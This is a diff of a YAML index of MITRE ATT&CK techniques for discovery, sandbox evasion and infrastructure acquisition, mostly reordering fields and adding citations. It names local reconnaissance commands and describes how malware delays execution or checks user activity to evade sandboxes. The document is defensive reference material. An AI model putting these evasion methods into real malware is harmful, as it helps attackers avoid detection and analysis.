+        Various utilities and commands may acquire this information, including <code>whoami</code>. In macOS and Linux, the currently logged in user can be identified with <code>w</code> and <code>who</code>. On macOS the <code>dscl . list /Users | grep -v '_'</code> command can also be used to enumerate user accounts. Environment variables, such as <code>%USERNAME%</code> and <code>$USER</code>, may also be used to access this information.
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system and network information. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      x_mitre_version: '1.2'
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1033
+        external_id: T1033
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/577.html
+        external_id: CAPEC-577
+        source_name: capec
       identifier: T1033
     atomic_tests:
     - name: System Owner/User Discovery
@@ -59948,21 +61730,25 @@ discovery:
         name: powershell
   T1007:
     technique:
-      created: '2017-05-31T21:30:21.315Z'
-      modified: '2020-03-15T01:05:08.805Z'
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      type: attack-pattern
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        url: https://attack.mitre.org/techniques/T1007
-        external_id: T1007
-      - external_id: CAPEC-574
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/574.html
+      type: attack-pattern
+      name: System Service Discovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-10-17T14:10:36.992Z'
+      created: '2017-05-31T21:30:21.315Z'
+      x_mitre_permissions_required:
+      - User
+      - Administrator
+      - SYSTEM
+      x_mitre_platforms:
+      - Windows
+      - macOS
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa
       description: Adversaries may try to get information about registered services.
         Commands that may obtain information about services using operating system
         utilities are "sc," "tasklist /svc" using [Tasklist](https://attack.mitre.org/software/S0057),
@@ -59971,24 +61757,21 @@ discovery:
         from [System Service Discovery](https://attack.mitre.org/techniques/T1007)
         during automated discovery to shape follow-on behaviors, including whether
         or not the adversary fully infects the target and/or attempts specific actions.
-      name: System Service Discovery
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      id: attack-pattern--322bad5a-1c49-4d23-ab79-76d641794afa
-      x_mitre_version: '1.1'
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
       x_mitre_detection: |-
         System and network discovery techniques normally occur throughout an operation as an adversary learns the environment. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as Lateral Movement, based on the information obtained.
 
         Monitor processes and command-line arguments for actions that could be taken to gather system information related to services. Remote access tools with built-in features may interact directly with the Windows API to gather information. Information may also be acquired through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1059/001).
-      x_mitre_permissions_required:
-      - User
-      - Administrator
-      - SYSTEM
-      x_mitre_platforms:
-      - Windows
-      x_mitre_is_subtechnique: false
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1007
+        external_id: T1007
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/574.html
+        external_id: CAPEC-574
+        source_name: capec
       identifier: T1007
     atomic_tests:
     - name: System Service Discovery
@@ -60029,62 +61812,62 @@ discovery:
         name: command_prompt
   T1124:
     technique:
-      id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
       name: System Time Discovery
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-04-22T23:09:24.799Z'
+      created: '2017-05-31T21:31:37.450Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      id: attack-pattern--f3c544dc-673c-4ef3-accb-53229f1ae077
+      x_mitre_platforms:
+      - Windows
+      x_mitre_is_subtechnique: false
+      x_mitre_permissions_required:
+      - User
       description: |-
         An adversary may gather the system time and/or time zone from a local or remote system. The system time is set and stored by the Windows Time Service within a domain to maintain time synchronization between systems and services in an enterprise network. (Citation: MSDN System Time) (Citation: Technet Windows Time Service)
 
         System time information may be gathered in a number of ways, such as with [Net](https://attack.mitre.org/software/S0039) on Windows by performing <code>net time \\hostname</code> to gather the system time on a remote system. The victim's time zone may also be inferred from the current system time or gathered by using <code>w32tm /tz</code>. (Citation: Technet Windows Time Service)
 
         This information could be useful for performing other techniques, such as executing a file with a [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053) (Citation: RSA EU12 They're Inside), or to discover locality information based on time zone to assist in victim targeting (i.e. [System Location Discovery](https://attack.mitre.org/techniques/T1614)). Adversaries may also use knowledge of system time as part of a time bomb, or delaying execution until a specified date/time.(Citation: AnyRun TimeBomb)
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1124
-        url: https://attack.mitre.org/techniques/T1124
-      - external_id: CAPEC-295
-        source_name: capec
-        url: https://capec.mitre.org/data/definitions/295.html
-      - url: https://msdn.microsoft.com/ms724961.aspx
-        description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016.
-        source_name: MSDN System Time
-      - url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
-        description: Mathers, B. (2016, September 30). Windows Time Service Tools
-          and Settings. Retrieved November 25, 2016.
-        source_name: Technet Windows Time Service
-      - url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf
-        description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved
-          November 25, 2016.
-        source_name: RSA EU12 They're Inside
-      - source_name: AnyRun TimeBomb
-        url: https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/
-        description: 'Malicious History. (2020, September 17). Time Bombs: Malware
-          With Delayed Execution. Retrieved April 22, 2021.'
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2021-04-22T23:09:24.799Z'
-      created: '2017-05-31T21:31:37.450Z'
       x_mitre_contributors:
       - FIRST.ORG's Cyber Threat Intelligence SIG
-      x_mitre_is_subtechnique: false
-      x_mitre_platforms:
-      - Windows
-      x_mitre_permissions_required:
-      - User
       x_mitre_detection: Command-line interface monitoring may be useful to detect
         instances of net.exe or other command-line utilities being used to gather
         system time or time zone. Methods of detecting API use for gathering this
         information are likely less useful due to how often they may be used by legitimate
         software.
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1124
+        external_id: T1124
+        source_name: mitre-attack
+      - url: https://capec.mitre.org/data/definitions/295.html
+        external_id: CAPEC-295
+        source_name: capec
+      - source_name: MSDN System Time
+        description: Microsoft. (n.d.). System Time. Retrieved November 25, 2016.
+        url: https://msdn.microsoft.com/ms724961.aspx
+      - source_name: Technet Windows Time Service
+        description: Mathers, B. (2016, September 30). Windows Time Service Tools
+          and Settings. Retrieved November 25, 2016.
+        url: https://technet.microsoft.com/windows-server-docs/identity/ad-ds/get-started/windows-time-service/windows-time-service-tools-and-settings
+      - source_name: RSA EU12 They're Inside
+        description: Rivner, U., Schwartz, E. (2012). They’re Inside… Now What?. Retrieved
+          November 25, 2016.
+        url: https://www.rsaconference.com/writable/presentations/file_upload/ht-209_rivner_schwartz.pdf
+      - url: https://any.run/cybersecurity-blog/time-bombs-malware-with-delayed-execution/
+        description: 'Malicious History. (2020, September 17). Time Bombs: Malware
+          With Delayed Execution. Retrieved April 22, 2021.'
+        source_name: AnyRun TimeBomb
       identifier: T1124
     atomic_tests:
     - name: System Time Discovery
@@ -60131,43 +61914,46 @@ discovery:
         name: sh
   T1497.003:
     technique:
-      id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0
-      description: |-
-        Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.
-
-        Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.
-
-        Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
-      name: Time Based Evasion
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1497.003
-        url: https://attack.mitre.org/techniques/T1497/003
-      - source_name: ISACA Malware Tricks
-        url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
-        description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How
-          Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'
       type: attack-pattern
+      name: Time Based Evasion
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.2'
+      modified: '2021-10-15T22:37:43.854Z'
+      created: '2020-03-06T21:11:11.225Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-04-01T15:48:28.345Z'
-      created: '2020-03-06T21:11:11.225Z'
+      x_mitre_defense_bypassed:
+      - Host forensic analysis
+      - Signature-based detection
+      - Static File Analysis
+      - Anti-virus
       x_mitre_platforms:
       - Linux
       - macOS
       - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--4bed873f-0b7d-41d4-b93a-b6905d1f90b0
+      description: |-
+        Adversaries may employ various time-based methods to detect and avoid virtualization and analysis environments. This may include enumerating time-based properties, such as uptime or the system clock, as well as the use of timers or other triggers to avoid a virtual machine environment (VME) or sandbox, specifically those that are automated or only operate for a limited amount of time.
+
+        Adversaries may employ various time-based evasions, such as delaying malware functionality upon initial execution using programmatic sleep commands or native system scheduling functionality (ex: [Scheduled Task/Job](https://attack.mitre.org/techniques/T1053)). Delays may also be based on waiting for specific victim conditions to be met (ex: system time, events, etc.) or employ scheduled [Multi-Stage Channels](https://attack.mitre.org/techniques/T1104) to avoid analysis and scrutiny.(Citation: Deloitte Environment Awareness)
+
+        Benign commands or other operations may also be used to delay malware execution. Loops or otherwise needless repetitions of commands, such as [Ping](https://attack.mitre.org/software/S0097)s, may be used to delay malware execution and potentially exceed time thresholds of automated analysis environments.(Citation: Revil Independence Day)(Citation: Netskope Nitol) Another variation, commonly referred to as API hammering, involves making various calls to [Native API](https://attack.mitre.org/techniques/T1106) functions in order to delay execution (while also potentially overloading analysis environments with junk data).(Citation: Joe Sec Nymaim)(Citation: Joe Sec Trickbot)
+
+        Adversaries may also use time as a metric to detect sandboxes and analysis environments, particularly those that attempt to manipulate time mechanisms to simulate longer elapses of time. For example, an adversary may be able to identify a sandbox accelerating time by sampling and calculating the expected value for an environment's timestamp before and after execution of a sleep function.(Citation: ISACA Malware Tricks)
       x_mitre_contributors:
+      - Jorge Orchilles, SCYTHE
+      - Ruben Dodge, @shotgunner101
+      - Jeff Felling, Red Canary
       - Deloitte Threat Library Team
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
       x_mitre_detection: 'Time-based evasion will likely occur in the first steps
         of an operation but may also occur throughout as an adversary learns the environment.
         Data and events should not be viewed in isolation, but as part of a chain
@@ -60177,36 +61963,66 @@ discovery:
         implementation and monitoring required. Monitoring for suspicious processes
         being spawned that gather a variety of system information or perform other
         forms of Discovery, especially in a short period of time, may aid in detection. '
-      x_mitre_is_subtechnique: true
-      x_mitre_version: '1.1'
-      x_mitre_defense_bypassed:
-      - Host forensic analysis
-      - Signature-based detection
-      - Static File Analysis
-      - Anti-virus
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1497/003
+        external_id: T1497.003
+        source_name: mitre-attack
+      - url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
+        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
+          May 18, 2021.
+        source_name: Deloitte Environment Awareness
+      - url: https://news.sophos.com/en-us/2021/07/04/independence-day-revil-uses-supply-chain-exploit-to-attack-hundreds-of-businesses/
+        description: 'Loman, M. et al. (2021, July 4). Independence Day: REvil uses
+          supply chain exploit to attack hundreds of businesses. Retrieved September
+          30, 2021.'
+        source_name: Revil Independence Day
+      - url: https://www.netskope.com/blog/nitol-botnet-makes-resurgence-evasive-sandbox-analysis-technique
+        description: Malik, A. (2016, October 14). Nitol Botnet makes a resurgence
+          with evasive sandbox analysis technique. Retrieved September 30, 2021.
+        source_name: Netskope Nitol
+      - url: https://www.joesecurity.org/blog/3660886847485093803
+        description: Joe Security. (2016, April 21). Nymaim - evading Sandboxes with
+          API hammering. Retrieved September 30, 2021.
+        source_name: Joe Sec Nymaim
+      - url: https://www.joesecurity.org/blog/498839998833561473
+        description: Joe Security. (2020, July 13). TrickBot's new API-Hammering explained.
+          Retrieved September 30, 2021.
+        source_name: Joe Sec Trickbot
+      - url: https://www.isaca.org/resources/isaca-journal/issues/2017/volume-6/evasive-malware-tricks-how-malware-evades-detection-by-sandboxes
+        description: 'Kolbitsch, C. (2017, November 1). Evasive Malware Tricks: How
+          Malware Evades Detection by Sandboxes. Retrieved March 30, 2021.'
+        source_name: ISACA Malware Tricks
     atomic_tests: []
   T1497.002:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1497.002
-        url: https://attack.mitre.org/techniques/T1497/002
-      - source_name: Sans Virtual Jan 2016
-        url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
-        description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
-          Evasion Techniques. Retrieved April 17, 2019.
-      - source_name: Unit 42 Sofacy Nov 2018
-        url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
-        description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
-          Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
-      - source_name: FireEye FIN7 April 2017
-        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
-          LNK. Retrieved April 24, 2017.
-        url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: User Activity Based Checks
+      x_mitre_data_sources:
+      - 'Process: Process Creation'
+      - 'Command: Command Execution'
+      - 'Process: OS API Execution'
+      x_mitre_version: '1.1'
+      modified: '2021-10-18T14:57:48.362Z'
+      created: '2020-03-06T21:04:12.454Z'
+      kill_chain_phases:
+      - kill_chain_name: mitre-attack
+        phase_name: defense-evasion
+      - kill_chain_name: mitre-attack
+        phase_name: discovery
+      x_mitre_defense_bypassed:
+      - Anti-virus
+      - Static File Analysis
+      - Signature-based detection
+      - Host forensic analysis
+      x_mitre_platforms:
+      - Linux
+      - macOS
+      - Windows
+      x_mitre_is_subtechnique: true
+      id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938
       description: "Adversaries may employ various user activity checks to detect
         and avoid virtualization and analysis environments. This may include changing
         behaviors based on the results of checks for the presence of artifacts indicative
@@ -60215,31 +62031,17 @@ discovery:
         the core functions of the implant. They may also search for VME artifacts
         before dropping secondary or additional payloads. Adversaries may use the
         information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
-        during automated discovery to shape follow-on behaviors. \n\nAdversaries may
-        search for user activity on the host based on variables such as the speed/frequency
-        of mouse movements and clicks (Citation: Sans Virtual Jan 2016) , browser
-        history, cache, bookmarks, or number of files in common directories such as
-        home or the desktop. Other methods may rely on specific user interaction with
-        the system before the malicious code is activated, such as waiting for a document
-        to close before activating a macro (Citation: Unit 42 Sofacy Nov 2018) or
-        waiting for a user to double click on an embedded image to activate.(Citation:
-        FireEye FIN7 April 2017) "
-      id: attack-pattern--91541e7e-b969-40c6-bbd8-1b5352ec2938
-      type: attack-pattern
-      kill_chain_phases:
-      - kill_chain_name: mitre-attack
-        phase_name: defense-evasion
-      - kill_chain_name: mitre-attack
-        phase_name: discovery
-      modified: '2020-07-01T16:32:02.491Z'
-      created: '2020-03-06T21:04:12.454Z'
-      x_mitre_defense_bypassed:
-      - Anti-virus
-      - Static File Analysis
-      - Signature-based detection
-      - Host forensic analysis
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: true
+        during automated discovery to shape follow-on behaviors.(Citation: Deloitte
+        Environment Awareness)\n\nAdversaries may search for user activity on the
+        host based on variables such as the speed/frequency of mouse movements and
+        clicks (Citation: Sans Virtual Jan 2016) , browser history, cache, bookmarks,
+        or number of files in common directories such as home or the desktop. Other
+        methods may rely on specific user interaction with the system before the malicious
+        code is activated, such as waiting for a document to close before activating
+        a macro (Citation: Unit 42 Sofacy Nov 2018) or waiting for a user to double
+        click on an embedded image to activate.(Citation: FireEye FIN7 April 2017) "
+      x_mitre_contributors:
+      - Deloitte Threat Library Team
       x_mitre_detection: 'User activity-based checks will likely occur in the first
         steps of an operation but may also occur throughout as an adversary learns
         the environment. Data and events should not be viewed in isolation, but as
@@ -60250,74 +62052,65 @@ discovery:
         processes being spawned that gather a variety of system information or perform
         other forms of Discovery, especially in a short period of time, may aid in
         detection. '
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1497/002
+        external_id: T1497.002
+        source_name: mitre-attack
+      - url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
+        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
+          May 18, 2021.
+        source_name: Deloitte Environment Awareness
+      - url: https://www.sans.org/reading-room/whitepapers/forensics/detecting-malware-sandbox-evasion-techniques-36667
+        description: Keragala, D. (2016, January 16). Detecting Malware and Sandbox
+          Evasion Techniques. Retrieved April 17, 2019.
+        source_name: Sans Virtual Jan 2016
+      - url: https://unit42.paloaltonetworks.com/unit42-sofacy-continues-global-attacks-wheels-new-cannon-trojan/
+        description: Falcone, R., Lee, B.. (2018, November 20). Sofacy Continues Global
+          Attacks and Wheels Out New ‘Cannon’ Trojan. Retrieved April 23, 2019.
+        source_name: Unit 42 Sofacy Nov 2018
+      - source_name: FireEye FIN7 April 2017
+        description: Carr, N., et al. (2017, April 24). FIN7 Evolution and the Phishing
+          LNK. Retrieved April 24, 2017.
+        url: https://www.fireeye.com/blog/threat-research/2017/04/fin7-phishing-lnk.html
+    atomic_tests: []
+  T1497:
+    technique:
+      object_marking_refs:
+      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
+      type: attack-pattern
+      name: Virtualization/Sandbox Evasion
       x_mitre_data_sources:
       - 'Process: Process Creation'
       - 'Command: Command Execution'
       - 'Process: OS API Execution'
-      x_mitre_contributors:
-      - Deloitte Threat Library Team
-      x_mitre_platforms:
-      - Linux
-      - macOS
-      - Windows
-    atomic_tests: []
-  T1497:
-    technique:
-      id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
-      description: "Adversaries may employ various means to detect and avoid virtualization
-        and analysis environments. This may include changing behaviors based on the
-        results of checks for the presence of artifacts indicative of a virtual machine
-        environment (VME) or sandbox. If the adversary detects a VME, they may alter
-        their malware to disengage from the victim or conceal the core functions of
-        the implant. They may also search for VME artifacts before dropping secondary
-        or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox
-        Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery
-        to shape follow-on behaviors. \n\nAdversaries may use several methods to accomplish
-        [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497)
-        such as checking for security monitoring tools (e.g., Sysinternals, Wireshark,
-        etc.) or other system artifacts associated with analysis or virtualization.
-        Adversaries may also check for legitimate user activity to help determine
-        if it is in an analysis environment. Additional methods include use of sleep
-        timers or loops within malware code to avoid operating within a temporary
-        sandbox.(Citation: Unit 42 Pirpi July 2015)\n\n"
-      name: Virtualization/Sandbox Evasion
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
-      object_marking_refs:
-      - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1497
-        url: https://attack.mitre.org/techniques/T1497
-      - source_name: Unit 42 Pirpi July 2015
-        url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
-        description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
-          on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
-          23, 2019.'
-      type: attack-pattern
+      x_mitre_version: '1.3'
+      modified: '2021-10-18T14:57:48.989Z'
+      created: '2019-04-17T22:22:24.505Z'
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: defense-evasion
       - kill_chain_name: mitre-attack
         phase_name: discovery
-      modified: '2021-04-21T15:16:10.835Z'
-      created: '2019-04-17T22:22:24.505Z'
-      x_mitre_is_subtechnique: false
       x_mitre_defense_bypassed:
       - Anti-virus
       - Host forensic analysis
       - Signature-based detection
       - Static File Analysis
-      x_mitre_contributors:
-      - Deloitte Threat Library Team
-      - Sunny Neo
       x_mitre_platforms:
       - Windows
       - macOS
       - Linux
-      x_mitre_data_sources:
-      - 'Process: Process Creation'
-      - 'Command: Command Execution'
-      - 'Process: OS API Execution'
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--82caa33e-d11a-433a-94ea-9b5a5fbef81d
+      description: |+
+        Adversaries may employ various means to detect and avoid virtualization and analysis environments. This may include changing behaviors based on the results of checks for the presence of artifacts indicative of a virtual machine environment (VME) or sandbox. If the adversary detects a VME, they may alter their malware to disengage from the victim or conceal the core functions of the implant. They may also search for VME artifacts before dropping secondary or additional payloads. Adversaries may use the information learned from [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) during automated discovery to shape follow-on behaviors.(Citation: Deloitte Environment Awareness)
+
+        Adversaries may use several methods to accomplish [Virtualization/Sandbox Evasion](https://attack.mitre.org/techniques/T1497) such as checking for security monitoring tools (e.g., Sysinternals, Wireshark, etc.) or other system artifacts associated with analysis or virtualization. Adversaries may also check for legitimate user activity to help determine if it is in an analysis environment. Additional methods include use of sleep timers or loops within malware code to avoid operating within a temporary sandbox.(Citation: Unit 42 Pirpi July 2015)
+
+      x_mitre_contributors:
+      - Deloitte Threat Library Team
+      - Sunny Neo
       x_mitre_detection: Virtualization, sandbox, user activity, and related discovery
         techniques will likely occur in the first steps of an operation but may also
         occur throughout as an adversary learns the environment. Data and events should
@@ -60328,72 +62121,93 @@ discovery:
         required. Monitoring for suspicious processes being spawned that gather a
         variety of system information or perform other forms of Discovery, especially
         in a short period of time, may aid in detection.
-      x_mitre_version: '1.2'
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1497
+        external_id: T1497
+        source_name: mitre-attack
+      - url: https://drive.google.com/file/d/1t0jn3xr4ff2fR30oQAUn_RsWSnMpOAQc
+        description: Torello, A. & Guibernau, F. (n.d.). Environment Awareness. Retrieved
+          May 18, 2021.
+        source_name: Deloitte Environment Awareness
+      - url: https://unit42.paloaltonetworks.com/ups-observations-on-cve-2015-3113-prior-zero-days-and-the-pirpi-payload/
+        description: 'Falcone, R., Wartell, R.. (2015, July 27). UPS: Observations
+          on CVE-2015-3113, Prior Zero-Days and the Pirpi Payload. Retrieved April
+          23, 2019.'
+        source_name: Unit 42 Pirpi July 2015
     atomic_tests: []
 resource-development:
   T1583:
     technique:
-      external_references:
-      - source_name: mitre-attack
-        external_id: T1583
-        url: https://attack.mitre.org/techniques/T1583
-      - source_name: TrendmicroHideoutsLease
-        description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease:
-          Bulletproof Hosting Services. Retrieved March 6, 2017.'
-        url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
       object_marking_refs:
       - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168
-      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      type: attack-pattern
       name: Acquire Infrastructure
+      x_mitre_data_sources:
+      - 'Internet Scan: Response Metadata'
+      - 'Internet Scan: Response Content'
+      - 'Domain Name: Active DNS'
+      - 'Domain Name: Passive DNS'
+      - 'Domain Name: Domain Registration'
+      x_mitre_version: '1.1'
+      modified: '2021-10-17T15:45:02.209Z'
+      created: '2020-09-30T16:37:40.271Z'
+      x_mitre_platforms:
+      - PRE
+      x_mitre_is_subtechnique: false
+      id: attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2
       description: |-
         Adversaries may buy, lease, or rent infrastructure that can be used during targeting. A wide variety of infrastructure exists for hosting and orchestrating adversary operations. Infrastructure solutions include physical or cloud servers, domains, and third-party web services.(Citation: TrendmicroHideoutsLease) Additionally, botnets are available for rent or purchase.
 
         Use of these infrastructure solutions allows an adversary to stage, launch, and execute an operation. Solutions may help adversary operations blend in with traffic that is seen as normal, such as contact to third-party web services. Depending on the implementation, adversaries may use infrastructure that makes it difficult to physically tie back to them as well as utilize infrastructure that can be rapidly provisioned, modified, and shut down.
-      id: attack-pattern--0458aab9-ad42-4eac-9e22-706a95bafee2
-      type: attack-pattern
       kill_chain_phases:
       - kill_chain_name: mitre-attack
         phase_name: resource-development
-      modified: '2021-04-15T02:53:19.397Z'
-      created: '2020-09-30T16:37:40.271Z'
-      x_mitre_version: '1.0'
-      x_mitre_is_subtechnique: false
-      x_mitre_detection: |-
-        Consider use of services that may aid in tracking of newly acquired infrastructure, such as WHOIS databases for domain registration information. Much of this activity may take place outside the visibility of the target organization, making detection of this behavior difficult.
-
-        Detection efforts may be focused on related stages of the adversary lifecycle, such as during Command and Control.
-      x_mitre_platforms:
-      - PRE
+      x_mitre_detection: "Consider use of services that may aid in tracking of newly
+        acquired infrastructure, such as WHOIS databases for domain registration information.
+        \n\nOnce adversaries have provisioned infrastructure (ex: a server for use
+        in command and control), internet scans may help proactively discover adversary
+        acquired infrastructure. Consider looking for identifiable patterns such as
+        services listening, certificates in use, SSL/TLS negotiation features, or
+        other response artifacts associated with adversary C2 software.(Citation:
+        ThreatConnect Infrastructure Dec 2020)(Citation: Mandiant SCANdalous Jul 2020)(Citation:
+        Koczwara Beacon Hunting Sep 2021)\n\nDetection efforts may be focused on related
+        stages of the adversary lifecycle, such as during Command and Control."
+      created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5
+      external_references:
+      - url: https://attack.mitre.org/techniques/T1583
+        external_id: T1583
+        source_name: mitre-attack
+      - url: https://documents.trendmicro.com/assets/wp/wp-criminal-hideouts-for-lease.pdf
+        description: 'Max Goncharov. (2015, July 15). Criminal Hideouts for Lease:
+          Bulletproof Hosting Services. Retrieved March 6, 2017.'
+        source_name: TrendmicroHideoutsLease
+      - url: https://threatconnect.com/blog/infrastructure-research-hunting/
+        description: 'ThreatConnect. (2020, December 15). Infrastructure Research
+          and Hunting: Boiling the Domain Ocean. Retrieved October 12, 2021.'
+        source_name: ThreatConnect Infrastructure Dec 2020
+      - url: https://www.mandiant.com/resources/scandalous-external-detection-using-network-scan-data-and-automation
+        description: Stephens, A. (2020, July 13). SCANdalous! (External Detection
+          Using Network Scan Data and Automation). Retrieved October 12, 2021.
+        source_name: Mandiant SCANdalous Jul 2020
